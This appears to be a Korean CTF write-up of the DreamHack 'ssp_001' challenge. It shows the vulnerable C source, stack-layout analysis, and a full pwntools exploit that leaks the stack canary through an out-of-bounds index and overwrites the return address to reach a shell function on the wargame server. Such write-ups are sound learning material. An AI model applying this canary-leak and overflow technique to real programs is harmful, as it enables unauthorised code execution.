System Hacking/DreamHack

[Dreamhakck] ssp_001

hanbunny 2025. 3. 20. 16:49

Description

이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.


소스코드 분석 및 보호기법 탐지

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

 

name_len값을 사용자 입력을 통해 결정하고, 그 크기만큼 name배열에 read()를 수행한다.

name의 크기는 0x40(64바이트), 하지만 name_len에서 크기를 검사하지 않는다

name_len에서 0x40(64바이트)의 크기보다 큰 값을 설정하면 버퍼 오버플로우를 발생시킬 수 있음.

get_shell() 함수의 주소를 찾아 리턴값으로 바꿔주어 shell을 획득.

 

보호기법 탐지

 

카나리 보호기법이 탐지됨.

카나리 값을 가져와 익스플로잇을 실행해줘야한다.


메모리 구조 분석 및 취약점

Canary값 찾기

 

ebp - 0x8  위치에 canary = 0x6f4d1000 가 위치하고 있음.

disass main

 

메뉴를 저장하는 "select" 함수 ebp-0x8a 에 위치.

 

 사용자의 입력을 저장하는 변수 "box"는 주소 ebp-0x88에 위치

 

 

"idx"는 ebp-0x94 에 위치.

 

 

 

변수 "name_len" 은 ebp-0x90, "name"은 ebp-0x48에 위치.

 

 

get_shell() 주소 찾기 =   0x080486b9

pwndbg> p &get_shell

pwndbg> disass get_shell

 

취약점 분석

'P' 입력 시 지정한 인덱스가 출력되기 때문에 카나리릭 가능.

box - canary offset = box [64] + name [64] = 128byte

즉, 인덱스의 128~131을 구하면 카나리 값을 구할 수 있음.

 

'E' 입력 시 버퍼 크기 제한이 없기 때문에 버퍼 오버플로우로 리턴주소 변경 가능.


payload

name [64] + canary + dummy + ebp + RET( get_shell 함수)


Exploit

from pwn import *

# 로컬 실행 및 원격 서버 연결
p = process('./ssp_001')
p = remote('host3.dreamhack.games', 14791)

get_shell = 0x080486b9
canary = b''

for i in range(131, 127, -1):  # box (64비트) + name(64비트) -> 128비트부터 4비트가 카나리 값
    p.sendlineafter(b'> ',b'P')
    p.sendlineafter(b'Element index :', str(i))
    canary += p.recvuntil('\n')[-3:-1]

canary = int(canary,16)
payload = b'A'*0x40 + p32(canary) + b'B'*8 + p32(get_shell)

p.sendlineafter(b'> ',b'E')
p.sendlineafter(b'Name Size : ', b'300')
p.sendlineafter(b'Name : ', payload)

p.interactive()